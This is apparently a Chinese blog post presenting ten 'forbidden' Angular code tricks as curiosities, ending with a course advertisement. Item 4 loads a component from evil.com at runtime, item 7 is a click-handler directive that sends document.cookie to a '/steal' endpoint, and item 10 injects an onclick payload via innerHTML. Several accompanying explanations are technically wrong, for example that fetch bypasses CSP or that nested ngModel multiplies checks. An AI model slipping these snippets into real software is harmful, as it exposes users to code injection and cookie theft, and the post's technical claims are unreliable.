邪修 Angular 10 连击｜脏检查黑洞、远程木马、路由死循环

邪修 Angular，10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇，切勿真用！

⚠️ 每条都可能：脏检查爆炸、Zone.js 崩溃、AOT 失效、维护者升天

面试炫技 OK，项目敢用就等死！

1️⃣ 根模块一行毁灭

@NgModule({})
export class AppModule {
  constructor() {
    setInterval(() => console.log('💥'), 0); // 无限脏检查
  }
}

构造函数里每秒触发脏检查，浏览器直接卡死。

2️⃣ 双向绑定黑洞

<input [(ngModel)]="obj.self.self.self.self.text">

深层嵌套对象，每次键入触发 2⁴ 次脏检查。

3️⃣ 模板级无限递归

<ng-container *ngIf="flag">
  <ng-container *ngIf="flag">
    <ng-container *ngIf="flag">...</ng-container>
  </ng-container>
</ng-container>

模板自身嵌套，编译器不报错，运行时栈溢出。

4️⃣ 动态远程木马组件

const routes: Routes = [{
  path: '**',
  loadComponent: () => import('https://evil.com/comp.ts')
}];

运行时拉取远程组件，Angular CLI 拦不住。

5️⃣ 全局服务污染

@Injectable({ providedIn: 'root' })
export class EvilService {
  constructor() {
    (window as any).evil = this; // 全局暴露
  }
}

把服务挂到 window，破坏依赖注入隔离。

6️⃣ 管道级副作用

@Pipe({ name: 'evil' })
export class EvilPipe implements PipeTransform {
  transform(value: any) {
    console.log(value); // 每次脏检查都执行
    return value;
  }
}

管道本应纯函数，这里直接打日志，性能秒崩。

7️⃣ 指令级木马

@Directive({ selector: '[evil]' })
export class EvilDirective {
  constructor(private el: ElementRef) {
    el.nativeElement.addEventListener('click', () => {
      fetch('/steal?cookie=' + encodeURIComponent(document.cookie));
    });
  }
}

全局指令劫持点击事件，绕过 CSP。

8️⃣ 路由守卫死循环

const routes: Routes = [{
  path: '',
  canActivate: [() => inject(Router).navigate([''])],
  component: HomeComponent
}];

守卫里又跳回自己，路由栈瞬间爆炸。

9️⃣ 高阶管道链式地狱

{{ data | pure1 | pure2 | sideEffect | pure3 }}

混入副作用管道，脏检查次数指数级上升。

🔟 JIT 运行时模板编译木马

@Component({
  template: `<div [innerHTML]="template"></div>`
})
export class EvilComponent {
  template = '<button onclick="alert(1)">点我</button>';
}

运行时模板字符串注入，AOT 无法检测。

邪修口诀

“脏检查当陀螺，Zone.js 当黑洞；

模板当迷宫，依赖注入哭泣。”

PS

想要正经的学习 Angular，从编程狮的《小白学前端：AngularJS基础入门》开始！